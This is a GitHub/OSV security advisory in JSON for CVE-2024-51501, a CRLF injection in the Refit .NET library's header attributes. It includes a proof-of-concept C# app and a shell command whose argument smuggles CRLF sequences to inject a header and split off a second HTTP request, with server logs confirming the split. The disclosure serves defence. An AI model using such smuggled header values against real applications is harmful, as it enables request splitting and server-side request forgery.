{"id":"GHSA-3hxg-fxwm-8gf7","summary":"CRLF injection in Refit's [Header], [HeaderCollection] and [Authorize] attributes ","details":"### Summary\nThe various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.\n\n### Details\nThe way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: \u003chttps://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328\u003e\nThis method does not check for CRLF characters in the header value.\n\nThis means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.\n\n### PoC\nThe below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the \"Authorization\" header:\n\n```c#\nusing Refit;\n\ninternal class Program\n{\n    private static void Main(string[] args)\n    {\n        // Usage: dotnet run \u003cbearer token\u003e \n        string token = args[0];\n        var service = RestService.For\u003cIStatusApi\u003e(\"http://insert.some.site.here\");\n        string response = service.GetStatus(token).Result;\n        Console.WriteLine($\"Response: {response}\");\n    }\n\n    public interface IStatusApi\n    {\n        [Get(\"/status\")]\n        Task\u003cstring\u003e GetStatus([Authorize(\"Bearer\")] string token);\n    }\n}\n```\n\nThis application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):\n\n```bash\nanonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\\r\\nUser-Agent: injected header!\\r\\n\\r\\nGET /smuggled HTTP/1.1\\r\\nHost: insert.some.site.here'\nResponse: \u003chtml\u003e\u003c/html\u003e\n```\n\nThe application intends to send a single request of the form:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer \u003cbearer token\u003e\n```\nBut as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer test\nUser-Agent: injected header!\n```\nand\n```http\nGET /smuggled HTTP/1.1\nHost: insert.some.site.here\n```\n\nThis can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost):\n```bash\nanonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /status HTTP/1.1\" 200 240 \"-\" \"injected header!\"\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /smuggled HTTP/1.1\" 404 436 \"-\" \"-\"\n```\n\n### Impact\nIf an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.\n\nStrictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.\n\n","aliases":["CVE-2024-51501"],"modified":"2024-11-08T15:35:21.927958Z","published":"2024-11-04T23:23:17Z","database_specific":{"cwe_ids":["CWE-93"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2024-11-04T23:23:17Z","nvd_published_at":"2024-11-04T23:15:04Z"},"references":[{"type":"WEB","url":"https://github.com/reactiveui/refit/security/advisories/GHSA-3hxg-fxwm-8gf7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51501"},{"type":"WEB","url":"https://github.com/reactiveui/refit/commit/483b1d8df18098f137ca0eca056b7e9ec19f70dd"},{"type":"PACKAGE","url":"https://github.com/reactiveui/refit"},{"type":"WEB","url":"https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328"}],"affected":[{"package":{"name":"Refit","ecosystem":"NuGet","purl":"pkg:nuget/Refit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.2.22"}]}],"versions":["1.0.0","1.1.0","1.2.0","1.3.0","2.0.0","2.0.1","2.0.2","2.1.0","2.2.0","2.2.1","2.3.0","2.4.0","2.4.1","3.0.0","3.0.1","3.1.0","4.0.0","4.0.1","4.1.0","4.2.0","4.3.0","4.4.17","4.5.4","4.5.6","4.6.107","4.6.15","4.6.16","4.6.30","4.6.48","4.6.58","4.6.85","4.6.90","4.6.99","4.7.5","4.7.51","4.7.9","4.8.14","5.0.15","5.0.23","5.1.26","5.1.27","5.1.54","5.1.67","5.2.1","5.2.4","6.0.1","6.0.15","6.0.21","6.0.24","6.0.38","6.0.8","6.0.94","6.1.15","6.2.14","6.2.16","6.3.2","6.4.1","6.5.1","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","7.2.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-3hxg-fxwm-8gf7/GHSA-3hxg-fxwm-8gf7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}